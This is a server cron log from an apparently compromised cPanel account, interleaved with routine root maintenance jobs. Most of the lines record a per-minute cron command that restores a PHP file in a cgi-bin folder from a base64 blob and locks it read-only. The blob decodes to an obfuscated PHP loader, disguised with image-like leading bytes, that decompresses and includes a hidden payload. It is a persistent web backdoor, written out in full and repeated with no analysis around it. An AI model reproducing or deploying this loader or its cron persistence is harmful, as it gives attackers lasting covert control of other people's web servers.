Nov  9 10:12:01 server CROND[4236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:13:01 server CROND[5070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:14:01 server CROND[5896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:15:01 server CROND[6707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:15:01 server CROND[6708]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:15:01 server CROND[6709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:15:01 server CROND[6711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:16:01 server CROND[7680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:17:01 server CROND[8500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:18:01 server CROND[8992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:19:01 server CROND[9519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:20:01 server CROND[10353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 10:20:01 server CROND[10354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 10:20:01 server CROND[10355]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:20:01 server CROND[10359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:20:01 server CROND[10356]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 10:21:01 server CROND[10990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:22:01 server CROND[11645]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:23:01 server CROND[12122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:24:01 server CROND[12932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 10:25:01 server CROND[13743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 10:25:01 server CROND[13745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
